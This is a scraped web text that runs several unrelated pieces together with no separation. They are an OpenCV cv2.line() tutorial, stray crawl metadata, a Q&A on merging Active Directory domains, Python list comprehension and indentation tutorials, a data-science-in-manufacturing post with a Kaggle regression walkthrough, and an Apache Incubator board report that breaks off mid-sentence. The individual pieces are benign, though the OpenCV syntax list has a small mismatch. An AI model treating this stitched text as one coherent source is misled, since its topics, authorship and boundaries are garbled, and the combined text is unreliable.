Contents - 1 Introduction - 2 Line in OpenCV Python : cv2.line() - 3 Examples of cv2.line() in Python OpenCV - 4 Conclusion Introduction In this article, we’ll go through how to use the cv2.line() function in OpenCV Python to draw lines. You might need to use OpenCV to draw lines to mark an object in an image or for other creative uses. We’ll go over the cv2.line() syntax with some examples to help beginners grasp it better. Line in OpenCV Python : cv2.line() Using the cv2.line() method in OpenCV Python, we can easily create a line. Let’s take a look at the syntax for this function — cv2.line(img, pt1, pt2,color,thickness,shift) Syntax - img – Image om which line has to be drawn - pt1 -Starting point of the line - pt2 – End point of the line - color – Color of the line - thickness – Line thickness - lineType – Type of the line - shift – No. of fractional bits of point coordinates This function draws the line in place on the original image, meaning that the line is permanently drawn on the image. Examples of cv2.line() in Python OpenCV Import Required Libraries Let’s get started with the examples by importing the necessary libraries, as shown below. In [1]: import cv2 import numpy as np import matplotlib.pyplot as plt %matplotlib inline Utility Function to Create Empty Image We’ll write a utility function that generates an empty 512×512 image with three color channels on which we’ll draw lines as examples. In [2]: def generate_empty_image(): return np.ones(shape=(512,512,3), dtype=np.int16) Let us check this function by calling it below. This will be acting as a canvas on which we can draw lines using the cv2 lines function. In [3]: sample_img = generate_empty_image() plt.imshow(sample_img) Out[3]: Example – 1: Draw Simple Line with cv2.line() In the first example, we will draw a simple line by using just the mandatory parameters of the cv2 line() function. Here we have passed the starting and end coordinates of the line (pt1 and pt2 respectively) along with the color parameter as green (0,255,0). It can be seen that the line in the output is very thin and barely visible. This is because we have not passed the thickness value and by default, it is taken as 1 which results in a very thin line. In [4]: image1 = generate_empty_image() pt1 = (100, 100) pt2 = (400, 350) color = (0, 255, 0) cv2.line(image1, pt1, pt2,color) plt.imshow(image1) Out[4]: Example – 2: Draw Line with Thickness with cv2.line() Let us now extend the above example and include the thickness parameter in cv2 line() function. It can be seen that the line is thick and clearly visible now. In [5]: image2 = generate_empty_image() pt1 = (100, 100) pt2 = (400, 350) color = (0, 255, 0) thickness=10 cv2.line(image2, pt1, pt2,color,thickness) plt.imshow(image2) Out[5]: Example – 3 : Draw Line on Image with cv2.line() In this example, we will draw a line on a cat image in red color. We have manually calculated the start and endpoints to put the line across the image. In [6]: image3 = cv2.imread('cat.jpg') pt1 = (100, 100) pt2 = (1000, 1150) color = (255, 0, 0) thickness=20 cv2.line(image3, pt1, pt2,color,thickness) plt.imshow(image3) Out[6]: Conclusion I hope you found this short OpenCV line drawing tutorial useful. We went over the syntax of the cv2 line() function, as well as a few examples, to help beginners grasp it better. Reference – OpenCV documentation
https://machinelearningknowledge.ai/quick-guide-for-drawing-lines-in-opencv-python-using-cv2-line-with-examples/
CC-MAIN-2022-33
refinedweb
597
66.94
I have two Windows 2008 R2 AD servers. The first, xyz.com is in a large city with fast internet. There are approximately 12 users. The second, foo.xyz.com, is in the middle of the bush on a satellite link, there are approximately 20 users. The two servers are not connected to each other in any way. I have a third office in a small town with slow internet access. I will soon be adding a server in that office, which has 7 users. My goal is to combine all of them somehow and setup Dfs. I'm inexperienced in AD management and looking for guidance. I would like to start with connecting my two current use ADMT (Active Directory Migration Tool) for restructuring and merging domains, however, with your lack of familiarity with AD (sorry I don't mean to sound condescending,) and given how long it would take you to learn ADMT, and how few users you have, the quickest thing for you to do would probably be just migrate all the workstations into a new domain manually. Edit to elaborate some more - I would suggest USMT (User State Migration Tool) for migrating user profiles over to the new domain, but as with ADMT, its usefulness really shines in large migration projects. For a small number of users, you could probably just use Windows Easy Transfer to transfer user profiles... even if migrating user profiles isn't even essential to you, it will probably make your end users happier and would be an easy win for you. What are you trying to solve with DFS? And how would you like to "combine" them? I'm making an assumption that these domains are in separate forests since they are not currently connected in any way. If you want to do DFS replication, you will not be able to do so across forests. If you want a single namespace for DFS and have users access files in the other domains, you can do so without DFS and setup trusts. You will probably want to setup a site-to-site VPN in order to maintain that trust remains in place. You could look at migrating the multiple domains into a single domain (either a new one or into an existing one). You might still have other issues with the sites depending on the stability of the internet links and you would still need to setup either a private network separately or over VPN tunnels. Bottom line, if you don't know enough about AD at this point, you may want to find a good consultant to work with you on all the pros/cons of all the various options and find a solution that works best for you (and do some knowledge transfer along the way). asked 2 years ago viewed 2855 times active
http://serverfault.com/questions/482315/how-to-combine-two-active-directory-domains/482321
CC-MAIN-2015-48
refinedweb
474
69.62
As InfoQ previously reported, the most interesting new feature in the recently released Clojure 1.9 is Spec, which provides a standard and integrated system for the specification and testing of data and functions. Leveraging previous work on other contract systems such as Racket’s, Spec aims to make it possible to automatically validate Clojure code, as well as to support a number of tasks such as generative testing, error reporting, destructuring and more. This is how you can specify a map, using spec/keys: (spec/keys :req [::x ::y (or ::secret (and ::user ::pwd))] :opt [::z]) Keys used in a map specification are somewhat reminiscent of discriminated union tags as found in other languages, in that you define their types globally for a namespace: (spec/def ::x integer?) (spec/def ::y integer?) (spec/def ::z integer?) (spec/def ::secret string?) This means that the same type specification is applied to occurrences of a given key in any map defined in the same module. If you want to use keys defined in a different namespace, you can use the new map namespace syntax: #:types{ :x 1 :y 2 :secret "xyz" } This is interpreted as { :types/x 1 :types/y 2 :types/secret "xyz } While Clojure 1.9 is now stable, Spec is still in alpha state and the corresponding libraries must be included. Being alpha implies that API compatibility is not guaranteed. To increase Spec expressiveness, Clojure 1.9 has added a number of new predicates, including boolean?, double?, simple-symbol, and many more. Still on the language front, clojure.core introduces the following new functions: bounded-count, which allows to count the elements of a collection without realizing it beyond a bound. swap-vals!and reset-vals!, two new atom functions that return both the old and new values. halt-when, a transducer that ends transduction when a given predicate is satisfied. Clojure 1.9 also introduces several performance enhancements, including optimized seq and destructuring, class derivation caching to speed up compilation, and others. Clojure 1.9 may be installed using brew on macOS, and an install script on Linux. On Windows, you are still required to install Leiningen or Boot instead. Community comments
https://www.infoq.com/news/2017/12/clojure-19-released/
CC-MAIN-2021-10
refinedweb
365
54.93
I'm using code like this to configure the Swift driver in Spark: def configureObjectStorage(sc: SparkContext) : Unit = { val prefix = "fs.swift.service.<name>" val hconf = sc.hadoopConfiguration hconf.set(s"${prefix}.auth.url", "") hconf.set(s"${prefix}.auth.endpoint.prefix", "endpoints") hconf.set(s"${prefix}.tenant", "<project-id>") hconf.set(s"${prefix}.username", "<user-id>") hconf.set(s"${prefix}.password", "<password>") hconf.set(s"${prefix}.http.port", "8080") hconf.set(s"${prefix}.region", "dallas") hconf.set(s"${prefix}.public", "true") } configureObjectStorage(sc) sc.textFile("swift://<container>.<name>/<file>") I get this message in the Spark log: WARN HttpMethodDirector: Unable to respond to any of these challenges: {keystone=Keystone uri=""} Then it hangs for a moment, and eventually fails with an HTTP 500 (Internal Server Error). I can get the data using the Python CLI (python-swiftclient) but that's using keystone v3 and I don't think the Swift driver supports that. Answer by Charles C Gomes (121) | May 10, 2016 at 01:23 PM Hi, The swift would need authentication token to connect to object storage from your local environment via keystone authentication. So you would have to obtain the authentication token via REST call and then use that token in the request to access object storage(put or get request). I would suggest trying out Stocator connector to access bluemix object storage , it does all above automatically. You would need to use swift2d protocol. distData.saveAsTextFile("swift2d://newcontainer.SERVICE_NAME/one1.txt") Thanks, Charles. The Swift driver is meant to do that. The purpose of the configuration above is to provide the driver with the necessary details (the authentication URL, username, password, etc.) such that it can obtain the access token from Keystone before it goes to the Object Storage. A Spark program will not use the REST API directly. I may look at Stocator as an alternative but I would prefer to get the default/standard method working first. Answer by Gil Vernik (1) | May 12, 2016 at 10:32 AM Try this one Answer by Gil Vernik (1) | May 12, 2016 at 10:37 AM But if you don't want to use Stocator, you can also setup your existing Hadoop Swift driver. You need to configure "tenant" key with "projectid" and "username" with userid you got from VCAP. Then point auth url to I still advice to use Stocator - you will get about 70% better performance for write operations and about 30% better performance for read operations. I've retried the code above, but with "v3/auth/tokens" in place of "v2.0/tokens". That produces an HTTP 500 (Internal server error); if I use just "v3/tokens" instead (closer to the original) then it gives me a different error: "Input path does not exist: swift://<container>.<provider>/<file>". I think I'll give up at this point and try Stocator, but I hate things left unresolved so I'm still interested if anybody knows how to make this work. 58 people are following this question. How to automatically export CSV from DashDB and import into Object Store? 1 Answer When do we have object store available for UK datacenter? 2 Answers Can I use Biginsight V4.0 Hadoop on Bluemix? 1 Answer How to access spark master url for spark-submit in bluemix spark offering? 4 Answers How to put an image file to Bluemix object storage container with cURL? 1 Answer
https://developer.ibm.com/answers/questions/269797/how-do-i-access-the-bluemix-object-storage-service.html?smartspace=bluemix
CC-MAIN-2020-16
refinedweb
568
56.86
List Comprehension Reference in Python Recently I took a few moments to play around with some list comprehensions and document a few references that I would have found useful many months ago when I was first learning about and understanding them. Most recently I still didn’t fully understand the syntax when working with nested loops in a list comprehension, and so I took the time to write out some samples. The basic pattern is as follows: Here are some examples written out in both the non-python way across multiple lines and with a one-line list comprehension: def copy_list(input_list): new_list = [] for item in input_list: new_list.append(item) new_list = [item for item in input_list] return new_list Starting with the most basic usage, we can copy the items in a list *(without using the copy function). Here we just use the basic pattern in a list comprehension to iterate over the items in a list. def copy_items_less_than_number(input_list, threshold_number): new_list = [] for item in input_list: if item < threshold_number: new_list.append(item) new_list = [item for item in input_list if item < threshold_number] return new_list Now we can apply the optional predicate wherein we supply a condition to determine whether or not an item should be included within the list itself. def modify_list_less_than_number(input_list, threshold_number, new_number): new_list = [] for item in input_list: if item < threshold_number: new_list.append(new_number) else: new_list.append(item) new_list = [new_number if item < threshold_number else item for item in input_list] return new_list This is not the same as adding conditional statements to determine the value placed in the list. In this example, the list size does not change, but the values added to the list are dynamic. def every_other_item(input_list): new_list = [] for index, item in enumerate(input_list): if index % 2 == 0: new_list.append(item) new_list = [item for index, item in enumerate(input_list) if index % 2 == 0] return new_list We can also include additional variables that are in scope within the list comprehension. If we enumerate a list, we can get each value’s corresponding index as well, and apply logic to use that index. def copy_dictionary(input_dictionary): new_dict = {} for key, value in input_dictionary.items(): new_dict[key] = value new_dict = {k: v for k, v in input_dictionary.items()} return new_dict We can also build dictionaries with list comprehensions in Python 2.7 and above. def invert_dictionary(input_dictionary): new_dict = {} for key, value in input_dictionary.items(): new_dict[value] = key new_dict = {v: k for k, v in input_dictionary.items()} return new_dict How the variables are used inside the list comprehension is up to you… def flatten_2d_matrix(two_d_list): new_list = [] for sublist in two_d_list: for item in sublist: new_list.append(item) new_list = [item for sublist in two_d_list for item in sublist] return new_list The above example is the reason I took the time to explore some examples. The syntax didn’t quite make sense to me, and every time I wanted to flatten a list I went and referenced a StackOverflow Question. However, it begins to make sense if we expand this out beyond two dimensions: def flatten_3d_matrix(three_d_matrix): new_list = [] for two_d_matrix in three_d_matrix: for one_d_matrix in two_d_matrix: for item in one_d_matrix: new_list.append(item) new_list = [item for two_d_matrix in three_d_matrix for one_d_matrix in two_d_matrix for item in one_d_matrix] return new_list You’ll notice that the pattern here is to simply take all of your nested loops and just place them one after another without new spacing or line breaks. The rest of the syntax for the list comprehension obviously does not change.
http://scottlobdell.me/2014/03/list-comprehension-reference-python/
CC-MAIN-2017-47
refinedweb
575
50.46
. I asume since you used MyPage.csp in your example you are doing tag-based and not class-based CSP development? Remember that tag-based .csp files compile into classes within the namespace (by default these are csp.* classes). So you could package-map csp.* (or whatever package you configure your CSP pages to compile into) from your Readonly namespace to the XYZ namespace, and then you could point the /csp/xyz application to the source directory holding the csp pages. I think this is likely to do what you want (although I haven't tested it). Hi Ben, thanks for your reply, but that's what I tested first, but didn't seem to work, maybe because it somehow still needs the CSP file to be in the install/CSP/xyz/ folder, where it still only is in install/CSP/abc/. I also tried adding a web app /csp/xyz/test/ that referred to the abc folder and xyz namespace, but that was probably too optimistic (or messy). Benjamin, You might be running into some security issues (check the audit DB to confirm). Or, you might not have it working because you have "Lock CSP Name" set to "Yes" in one of the web applications (ref:). I just did a quick test as follows in my 2015.1 instance: 1) Created a SAMPLES2 namespace with new SAMPLES2 DB 2) Package mapped "csp" from SAMPLES namespace to SAMPLES2 namespace 3) Edited /csp/samples2 web application as follows: - added Unauthenticated - added %DB_SAMPLES Application Role - Unchecked "Lock CSP Name" AND "Autocompile" (this should be done in both /csp/samples and /csp/samples2) - pointed "CSP Files Physical Path" to c:\intersystems\e20151\csp\samples\ After this I was then able to see /csp/samples2/form.csp (although with errors because I didn't map the Samples.* package to the Samples Namespace). So it appears to work - you just need to figure out which of the above pieces you missed :) HTH! Ben Interesting, thanks for trying this out. Maybe I was asking too much when I tested with a subdirectory of the root web application, in order to still see other CSP pages from my abc namespace. And also, I'd still need to look for a convenient way to map javascript files in the same way. But at least we're half way :o) I think the Autocompile setting has to be set to false to allow what Ben is describing. The mapping of static files is done either by deploying them to "csp/broker" (making them available for all web applications) or by a proper mapping in your web server if you are using an external one. This is solution using class/package mappings. Another alternative would be only using global mappings. So if ABC is your centralized application/code namespace/db, you can create XYZ namespace/db which by default is pointing to your central application ABC db (routines and globals) BUT with global mappings added to (own) separated XYZ namespace/db. To ensure your data is separated. You only need a login dispatcher (csp-app) in front which in the login process will route/redirect the csp-process to be run in approperiate destination namespace via url, e.g. /app/login.cls -> /app/xyz/... No need to remap js-files, etc. on webserver config, etc. with that since /app/xyz csp-app is physically pointing to your central location. You can add as many "clients" like XYZ through this, all working with the same base/central application-code but with separated (or common data) depending on your global-mapping definitions.
https://community.intersystems.com/post/can-we-map-csp-pages-another-namespace
CC-MAIN-2019-18
refinedweb
600
61.26
Marcin 'Qrczak' Kowalczyk wrote: > > Fri, 16 Feb 2001 10:01:06 -0800, Levent Erkok <erkok@cse.ogi.edu> pisze: > > > The non-strict version is not good either, because it won't do > > the effects! > > data Box a = Box {unbox :: a} > > fixIO m = let > x = unsafePerformIO (liftM Box (m (unbox x))) > in return (unbox $! x) > But that doesn't do the effects either.. I tried: data Box a = Box {unbox :: a} fixIOMQ :: (a -> IO a) -> IO a fixIOMQ m = let x = unsafePerformIO (liftM Box (m (unbox x))) in return (unbox $! x) and: do { x <- fixIOMQ (\x -> do {putStr "hello"; return (x+1)}); return 2} Which did NOT print hello on the screen, before returning 2. Maybe I'm missing your point? By the way, the original version that Simon PJ wrote (with mvar's) didn't have any of these problems. -Levent.
http://www.haskell.org/pipermail/haskell/2001-February/006728.html
CC-MAIN-2014-41
refinedweb
141
72.05
>> Maximize the number of subarrays with XOR as zero in C++ C in Depth: The Complete C Programming Guide for Beginners 45 Lectures 4.5 hours Practical C++: Learn C++ Basics Step by Step 50 Lectures 4.5 hours Master C and Embedded C Programming- Learn as you go 66 Lectures 5.5 hours We are given an array Arr[] containing integer values. The goal is to find the maximum number of subarrays with XOR as 0. The bits of any subarray can be swapped any number of times. Note:- 1<=Arr[i]<=1018 In order to make any subarray’s XOR as 0 by swapping bits, two conditions have to be met:- If the number of set bits in range left to right is even. For any given range sum of bits <= 2 (largest number in set bits) Let us see various input output scenarios for this - In −Arr[] = { 1,2,5,4 } Out − Subarrays satisfying only 1st condition : 4 Subarrays satisfying both condition : 3 In − Arr[] = { 3,7,2,9 } Out − Subarrays satisfying only 1st condition : 6 Subarrays satisfying both condition : 3 Approach used in the below program is as follows − In this approach we observed that in order to make any subarray’s XOR as 0 by swapping bits, two conditions have to be met:- If the number of set bits in range left to right is even or for any given range sum of bits <= 2 (largest number in set bits) Take the input array Arr[] and calculate its length. Function removeSubarr(int arr[], int len) returns the count of subarrays not satisfying condition 2. Take the initial count as 0. Iterate array using for loop and take variables sum and maxVal. Take another for loop to iterate in range of 60 subarrays as beyond 60 the condition 2 can never be false. Add element to sum and take maximum in maxVal. If sum is even and 2 * maxVal > sum then increment count as condition 2 is not met. At the end of both loops return count. Function findSubarrays(int arr1[], int len1) takes an input array and its length and returns the count of subarrays satisfying both conditions mentioned above. Take a prefix array to calculate the count of subarrays that follow condition 1 only. Traverse array using for loop and set each element with __builtin_popcountll(arr1[i]) which is the number of set bits in it. Populate prefix array using for loop and set prefix[i] = prefix[i] + prefix[i - 1] where except first element. Count odd and even values in the prefix array. Set tmp1= ( oddcount * (oddcount-1) )/2 and tmp2= ( evencount * (evencount-1) )/2 and result as sum of both. Result will be the sum of subarrays satisfying condition 1 only. Print result. Now update result with result=result - removeSubarr(arr1, len1). Now the result contains subarrays satisfying both conditions. Print result again. Example #include <bits/stdc++.h> using namespace std; // Function to count subarrays not satisfying condition 2 int removeSubarr(int arr[], int len){ int count = 0; for (int i = 0; i < len; i++){ int sum = 0; int maxVal = 0; for (int j = i; j < min(len, i + 60); j++){ sum = sum + arr[j]; maxVal = arr[j] > maxVal ? arr[j]: maxVal; if (sum % 2 == 0){ if( 2 * maxVal > sum) { count++; } } } } return count; } int findSubarrays(int arr1[], int len1){ int prefix[len1]; int oddcount, evencount; int result; for (int i = 0; i < len1; i++) { arr1[i] = __builtin_popcountll(arr1[i]); } for (int i = 0; i < len1; i++){ prefix[i] = arr1[i]; if (i != 0) { prefix[i] = prefix[i] + prefix[i - 1]; } } oddcount = evencount = 0; for (int i = 0; i < len1; i++){ if (prefix[i] % 2 == 0) { evencount = evencount +1; } else { oddcount = oddcount +1; } } evencount++; int tmp1= ( oddcount * (oddcount-1) )/2; int tmp2= ( evencount * (evencount-1) )/2; result = tmp1+tmp2; cout << "Subarrays satisfying only 1st condition : "<<result << endl; cout << "Subarrays satisfying both condition : "; result = result - removeSubarr(arr1, len1); return result; } int main() { int Arr[] = { 1,2,5,4 }; int length = sizeof(Arr) / sizeof(Arr[0]); cout << findSubarrays(Arr, length); return 0; } Output If we run the above code it will generate the following Out Subarrays satisfying only 1st condition : 4 Subarrays satisfying both condition : 3 - Related Questions & Answers - Sum of XOR of all subarrays in C++ - Find the Number of Unique Triplets Whose XOR is Zero using C++ - Count pairs with Bitwise XOR as EVEN number in C++ - Count pairs with Bitwise XOR as ODD number in C++ - C++ Queries on XOR of XORs of All Subarrays - Number of Subarrays with Bounded Maximum in C++ - Find the Number of Subarrays with Odd Sum using C++ - Find number of subarrays with even sum in C++ - Find the Number of Subarrays with m Odd Numbers using C++ - Minimum operations to make XOR of array zero in C++ - Number of Valid Subarrays in C++ - Program to make the XOR of all segments equal to zero in Python - Maximum sum of lengths of non-overlapping subarrays with k as the max element in C++ - Count the number of non-increasing subarrays in C++ - Count Number of Nice Subarrays in C++
https://www.tutorialspoint.com/maximize-the-number-of-subarrays-with-xor-as-zero-in-cplusplus
CC-MAIN-2022-40
refinedweb
852
52.12
Indentation in Python is used to create a group of statements. Many popular languages such as C, and Java uses braces ({ }) to define a block of code, Python use indentation. How Does Python Indentation work? When writing python code, we have to define a group of statements for functions and loops. This is done by properly indenting the statements for that block. The leading whitespaces (space and tabs) at the start of a line is used to determine the indentation level of the line. You have to increase the indent level to group the statements for that code block. Similarly, reduce the indentation to close the grouping. Generally four white spaces or a single tab character is used to create or increase the indentation level of the code. Let’s look at an example to understand the code indentation and grouping of statements. def foo(): print("Hi") if True: print("true") else: print("false") print("Done") Python Indentation Rules - We can’t split indentation into multiple lines using backslash. - The first line of Python code can’t have indentation, it will throw IndentationError. - You should avoid mixing tabs and whitespaces to create indentation. It’s because text editors in Non-Unix systems behave differently and mixing them can cause wrong indentation. - It is preferred to use whitespaces for indentation than the tab character. - The best practice is to use 4 whitespaces for first indentation and then keep adding additional 4 whitespaces to increase the indentation. Benefits of Indentation in Python - In most of the programming language, indentation is used to properly structure the code. In Python, it’s used for grouping, making the code automatically beautiful. - Python indentation rules are very simple. Most of the Python IDEs automatically indent the code for you, so it’s very easy to write the properly indented code. Disadvantages of Indentation in Python - Since whitespaces are used for indentation, if the code is large and indentation is corrupted then it’s really tedious to fix it. It happens mostly in copying the code from online sources, Word document, or PDF files. - Most of the popular programming languages use braces for indentation, so anybody coming from other side of the development world finds it hard at first to adjust to the idea of using whitespaces for the indentation. IndentationError Examples Let’s look at some examples of the IndentationError in the Python code. >>> x = 10 File "<stdin>", line 1 x = 10 ^ IndentationError: unexpected indent >>> We can’t have indentation in the first line of the code. That’s why IndentationError is thrown. if True: print("true") print("Hi") else: print("false") The code lines inside the if block have different indentation level, hence the IndentationError. if True: print("true") else: print("false") print("Done") Here the last print statement has some indentation but there is no statement to attach it, hence the indentation error is thrown. if True: print("true") else: print("false") Output: File "/Users/pankaj/Documents/PycharmProjects/PythonTutorialPro/hello-world/indent.py", line 2 print("true") ^ IndentationError: expected an indented block Conclusion Python indentation makes our code beautiful. It also serves the purpose of grouping the statements into a code block. This results into the habit of writing beautiful code all the time because it’s not a Good-To-Have feature but a Must-Have requirement of the code.
https://www.askpython.com/python/python-indentation
CC-MAIN-2020-16
refinedweb
557
54.93
Optimization of processes in the manufacturing industry can lead to big savings for the sector. For a capital intensive industry like this one, application data science can also lead to streamlined processes as well as increased profits. Let’s look at some practical applications in this article. Towards the end, we’ll also work with a real dataset so as to see one application in practice. We will look at applications in: - Predicting Future Machine Failures - Detecting Faulty Products - Making Work Easier with Robots - Demand Forecasting Let’s dive in. Predicting Future Machine Failures The failure of machines in the manufacturing sector can lead to huge losses. This is because it would take a while to diagnose and fix the problem. However, sensors can be installed to collect data as the machines run. This will not only make the diagnosis faster and easier but also make it possible to predict when a machine is likely to fail. Detecting Faulty Products Quality is very crucial in the manufacturing process. Therefore, reducing the number of faulty products is of utmost importance. Multiple faulty products lead to losses as well as more time making replacements. Collecting data on what makes certain products faulty can help a manufacturing firm in reducing the number of faulty products as well as determining a potential product necessity. Making Work Easier with Robots Having robots working alongside human beings can make the manufacturing process faster and easier. The robots can also handle dangerous processes that put the life of a human being at risk. The robots are equipped with computer vision capabilities that make it possible to implement complex tasks in a manufacturing firm. Demand Forecasting It is very crucial that a manufacturing firm only produces what is needed in the market, now referred to as Just In Time production. Production of excess products would lead to increased cost of storage as well as capital stuck in non-moving products. Production of products below the market demands would then lead to loss of revenue. Therefore, optimal forecasting of market demand is important. Let’s now walk through a problem presented by Daimler on Kaggle. The goal is to use the provided data to reduce the time cars spent on the test bench. The dataset has representations of different permutations of Mercedes-Benz car features. We’ll use the dataset to predict the time it takes for a car to pass testing. As a result, Daimler will have faster testing that will result in lower carbon dioxide emissions. All this without reducing quality and standards. The variables in the dataset have been anonymized. A feature could be something like if a car is a four-wheel drive, has air suspension, etc. y is the time in seconds that a car took to pass testing for each feature. y is what we’ll be predicting. We kick it off with a couple of imports: - Pandas for data manipulation - Seaborn and Matplotlib for visualization We then use seaborn to set the default style. import pandas as pd import seaborn as sns import matplotlib.pyplot as plt sns.set() With Pandas imported, let’s load in the training file. df = pd.read_csv(‘train.csv’) Here’s how the head of the dataset looks like. df.head() Let’s see how many columns the dataset has. df.info() The dataset has 378 columns. Those are so many columns, we’ll address this later. The total number of rows is 4209. Let’s visualize the distribution of the target variable. plt.figure(figsize=(12,6)) sns.distplot(df[‘y’]) Checking for null variables, we notice that there are none. df.isnull().any().sum() We are going to perform one-hot encoding for the categorical features before we fit the dataset to a machine learning model. We start by creating a variable with those features. cat_features = [‘X0’, ‘X1’, ‘X2’, ‘X3’, ‘X4’, ‘X5’, ‘X6’, ‘X8’] We then create a final data frame with the one-hot encoded features. drop_first=True ensures that we prevent the dummy variable trap. For example, if we have three categories a,b and c, the final data frame will only have two out of the three categories. This is because if an entry doesn’t fall within two of the categories, then it definitely falls in the third one. Dropping one of the categories prevents the model from overfitting. final_data = pd.get_dummies(df, columns = cat_features, drop_first=True) Let’s look at a snapshot of that data. final_data.head() Now we can split this dataset into a training and testing set. We use Scikit-Learn’s train_test_split function for that purpose. We start by creating a variable containing the features — X and a variable containing the target — y. We then split the dataset with 30% of the data for testing and 70% for training. from sklearn.model_selection import train_test_split X = final_data.drop([‘y’,’ID’],axis=1) y = final_data[‘y’] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.30, random_state=101) Let’s start by trying a Random Forest Regressor. After importing the regressor, we instantiate it and fit it to the training set. from sklearn.ensemble import RandomForestRegressor model = RandomForestRegressor() model.fit(X_train,y_train) Next, we use the fitted model to make predictions on the testing set. predictions = model.predict(X_test) Let’s evaluate its performance. In order to do that, we import NumPy and Sklearn metrics. from sklearn import metrics import numpy as np We can now compare the predictions against the true values. Since this is a regression problem, we use the mean absolute error, mean squared error and the root mean squared error metrics. print(‘MAE:’, metrics.mean_absolute_error(y_test, predictions)) print(‘MSE:’, metrics.mean_squared_error(y_test, predictions)) print(‘RMSE:’, np.sqrt(metrics.mean_squared_error(y_test, predictions))) Let’s visualize the differences between the true values and the predicted values. plt.figure(figsize=(12,6)) sns.distplot((y_test-predictions),bins=50); Random Forest provides us with the feature importances of the model. Let’s create a data frame with these values and visualize them. importance = model.feature_importances_ importances_rfc_df = pd.DataFrame(importance, index=X.columns, columns=[‘Importance’]) importances_rfc_df = importances_rfc_df.sort_values(by=’Importance’, ascending=False) importances_rfc_df = importances_rfc_df[importances_rfc_df[‘Importance’] > 0] importances_rfc_df = importances_rfc_df.head(10) We’ll use Seaborn to plot a barplot of these values. plt.figure(figsize=(8,8)) plt.xticks(rotation=60, fontsize = 20) sns.barplot(y=importances_rfc_df.index, x=importances_rfc_df[‘Importance’]) Unfortunately, the variables have been anonymized so we can’t know what they represent. Let’s see whether we can get better performance with a different algorithm. We’ll try the Lasso algorithm since it’s known to do well with data that has many features just like ours. We start by importing the algorithm and creating an instance of it. from sklearn import linear_model clf = linear_model.Lasso(alpha=0.03) With that in place, we can fit the model and make some predictions. clf.fit(X_train,y_train) predictions = clf.predict(X_test) Let’s check the same regression metrics. We notice a slight improvement. print(‘MAE:’, metrics.mean_absolute_error(y_test, predictions)) print(‘MSE:’, metrics.mean_squared_error(y_test, predictions)) print(‘RMSE:’, np.sqrt(metrics.mean_squared_error(y_test, predictions))) The Lasso algorithm also has a score function that gives us the coefficient of determination R² of the prediction. 1 is the best score. A negative value means that the model is arbitrarily worse. clf.score(X_test,y_test) Finally, let’s see whether we’ll get better results by using a deep learning model. We start by making a couple of imports: - Sequential for initializing the deep learning layers - tensorflow_docs for visualizing the models training and performance - Dense for adding the network layers from keras.models import Sequential from keras.layers import Dense import tensorflow_docs as tfdocs import tensorflow_docs.plots import tensorflow_docs.modeling Let’s create the deep learning model using Keras. We add the first layer with 128 nodes with a relu activation function. The activation function is how the model will learn. input_shape represents the number of features in our dataset. We then add the second layer that will produce the output predictions, hence it has one unit. We finally compile the model. This is the process of applying gradient descent. It enables the model to learn and reduce errors as it does so with the goal of getting the lowest error. Since it’s a regression problem, we use the mean_squared_error loss function. model = Sequential() model.add(Dense(units = 128, activation=’relu’,input_shape=(X_train.shape[1],))) model.add(Dense(units=1, activation=’relu’)) model.compile(optimizer=’adam’, loss=’mean_squared_error’,metrics=[‘mae’, ‘mse’]) In order to ensure that we get the best results, we’ll stop training the model once it stops improving. In this case, we check its performance every ten epochs. The moment the model stops improving, we stop the training process. Epochs here is the number of iterations to run the model. We’ll check the model’s performance via a Keras callback. import keras early_stop = keras.callbacks.EarlyStopping(monitor=’val_loss’, patience=10) Let’s now fit the deep learning model to the training data. We save it in a history variable so that we can use it to visualize the performance of the model. We are setting a validation set of 20%. This set will be used for evaluating the loss and model metrics at the end of each iteration. history = model.fit(X_train,y_train,epochs=100,validation_split = 0.2,callbacks=[early_stop,tfdocs.modeling.EpochDots()]) Using Keras, we can print a summary of our model. model.summary() We can now visualize the training and mean absolute error. plotter = tfdocs.plots.HistoryPlotter(smoothing_std=2) plotter.plot({‘Basic’: history}, metric = “mae”) Here’s a visual of the mean squared error. plotter.plot({‘Basic’: history}, metric = “mse”) We can visualize the metrics over the epochs using the saved history. hist = pd.DataFrame(history.history) hist[‘epoch’] = history.epoch hist.tail() Let’s now use the model to make some predictions and check the evaluation metrics. predictions = model.predict(X_test) print(‘MAE:’, metrics.mean_absolute_error(y_test, predictions)) print(‘MSE:’, metrics.mean_squared_error(y_test, predictions)) print(‘RMSE:’, np.sqrt(metrics.mean_squared_error(y_test, predictions))) Just like last time, we can also visualize the residuals. plt.figure(figsize=(12,6)) sns.distplot((y_test-predictions.reshape(1263,)),bins=50); Final Thoughts In this piece, we’ve seen how data science can be applied to the manufacturing sector. We’ve seen its application in predictive analytics, ensuring production of quality products and how to ensure the manufacturing firm runs smoothly — just to mention a few. We’ve also walked through a practical application. I am sure this has created enough interest for you to dive in deeper. Guest post: Derrick Mwiti Stay up to date with Saturn Cloud on LinkedIn and Twitter. You may also be interested in: Data Science in the Energy Sector.
https://www.saturncloud.io/s/datainmanufacturing/
CC-MAIN-2020-24
refinedweb
1,794
50.84
June 2012 Board reports (see ReportingSchedule). This report is CLOSED. The Incubator continues to guide podlings towards graduation. The shepherd model we tried last month is working fairly well, with most of the podling reports this month reviewed both by mentors and the assigned shephers. Meanwhile we're still encountering problems with mentor attrition. o Community Suresh Marru, Jakob Homan, Tomaž Muraus, Andy Seaborne, Arvind Prabhakar and Mahadev Konar joined and Ian Holsman resigned from the Incubator PMC since our last report. The following podling is requesting graduation to an Apache TLP: - Apache Flume The Incubator PMC recommends the board to accept the respective resolutions. The IPMC is currently voting on the graduation of the VCL podling. The question of community diversity as a graduation issue was discussed. See the Flume report for details. The following proposals for new incubating projects were accepted: - Apache Crunch - Apache cTAKES Initial proposals for Apache Parser and Apache Busilet were discussed, but they still need some work before acceptance. The Crunch proposal led to a discussion about how new podlings can or should be constructing the initial list of committers. The outcome of the discussion was that ideally, when constructing the proposal, the project toghether with its champion and possible mentors should decide whether to open the list to any interested people or to simply use an existing pre-Apache list of committers. The selected approach should be mentioned on the proposal and applied consistently. The Kato podling is inactive and we're considering retiring it. See the Kato report for details. o Releases The following incubating releases were made since our last report: - May 2012: Apache Mesos 0.9.0-incubating - May 16th, 2012: Apache HCatalog 0.4.0-incubating - May 21st, 2012: Apache Wink 1.2.0-incubating - May 24th, 2012: Apache Wookie 0.10.0-incubating - June 1st, 2012: Apache Syncope 1.0.0-RC1-incubating - June 9th, 2012: Apache Oozie 3.2.0-incubating In addition the Apache ManifoldCF 0.5.1 release was shipped under the /dist/incubator space as the 